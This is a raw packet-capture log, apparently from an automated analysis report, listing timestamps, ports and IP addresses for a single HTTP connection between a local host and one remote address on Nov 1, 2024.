Nov 1, 2024 15:15:00.794789076 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794811964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794811964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794811964 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794842005 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794859886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794869900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794879913 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794891119 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794900894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794909954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794922113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794924974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794924974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794934034 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.794945955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.794996977 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795087099 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795097113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795108080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795141935 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795150042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795150042 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795154095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795165062 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795176029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795217037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795217037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795217037 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795320988 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795332909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795342922 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795352936 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795362949 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795373917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795375109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795375109 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795384884 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795397043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795407057 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795445919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795445919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795445919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795459032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795469999 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795480013 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795490980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795506954 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795512915 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795519114 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795525074 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795530081 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795542955 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795545101 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795556068 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795557022 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795567036 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795578957 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795594931 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795602083 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795634031 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795640945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795653105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795664072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795675039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795691967 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795691967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795705080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795711040 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795716047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795727968 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795743942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795777082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795777082 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795814991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795814991 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795823097 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795834064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795845032 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795861006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795872927 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795882940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795895100 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795903921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.795907974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795907974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795907974 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795948029 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.795999050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796010971 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796020985 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796031952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796042919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796046019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796053886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796063900 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796065092 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796117067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796117067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796242952 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796253920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796263933 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796276093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796287060 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796294928 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796298981 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796310902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796320915 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796333075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796334982 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796334982 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796344042 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796360970 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796374083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796380997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796380997 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796386003 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796400070 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796403885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796416998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796423912 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796427965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796438932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796448946 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796464920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796468019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796468019 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796477079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796488047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796503067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796503067 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796504974 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796516895 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796534061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796536922 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796545982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796550035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796595097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796596050 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796595097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796607018 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796622992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796634912 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796646118 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796657085 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796668053 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796677113 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796681881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796681881 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796688080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796698093 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796704054 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796709061 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796725988 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796753883 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796753883 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796766043 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796776056 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796802998 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796814919 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796823978 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796835899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796854973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796857119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796868086 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796895027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796905994 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796930075 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796941996 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796953917 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.796973944 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.796987057 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797013044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797023058 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797033072 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797044992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797065973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797065973 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797096014 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797167063 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797178984 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797188044 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797202110 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797211885 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797215939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797228098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797240973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797251940 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797255039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797255039 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797262907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797282934 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797290087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797297955 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797301054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797312021 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797323942 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797334909 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797339916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797339916 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797344923 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797363997 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797365904 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797374964 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797386885 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797390938 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797398090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797410011 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797411919 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797420979 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797432899 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797444105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797501087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797507048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797507048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797507048 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797512054 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797555923 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797621012 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797633886 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797643900 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797656059 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797667027 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797677994 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797688961 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797696114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797696114 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797698975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797723055 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797723055 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797780991 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797796965 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797807932 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797817945 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797825098 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797833920 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797842979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797842979 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797846079 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797857046 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797859907 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797868967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797879934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797893047 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797893047 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797914982 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797926903 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797928095 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.797938108 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.797951937 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798000097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798000097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798000097 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798016071 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798027992 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798038006 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798053980 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798064947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798072100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798072100 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798075914 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.798089027 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798134089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.798134089 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873161077 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873181105 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873193026 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873228073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873286009 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873461008 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873471975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873480082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873563051 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873574972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873574972 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873585939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873596907 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873613119 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873614073 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873646975 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873732090 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873748064 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873760939 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873771906 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873784065 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873795033 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873806000 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873809099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873809099 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873817921 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873830080 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873830080 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873841047 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.873871088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873871088 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.873887062 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874002934 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874012947 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874027967 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874043941 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874049902 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874059916 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874068975 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874073029 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874077082 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874078035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874078035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874078035 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874082088 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874087095 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874116898 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874159098 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874186993 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874197960 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874211073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874221087 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874258041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874258041 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874299049 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874324083 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874336004 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874346972 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874361038 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874365091 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874372005 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874382973 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874385118 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874394894 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874411106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874411106 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874411106 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874422073 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874430895 CET	49874	80	192.168.2.5	188.114.96.3
Nov 1, 2024 15:15:00.874434948 CET	80	49874	188.114.96.3	192.168.2.5
Nov 1, 2024 15:15:00.874449968 CET	80	49874	188.114.96.3	192.168.2.5
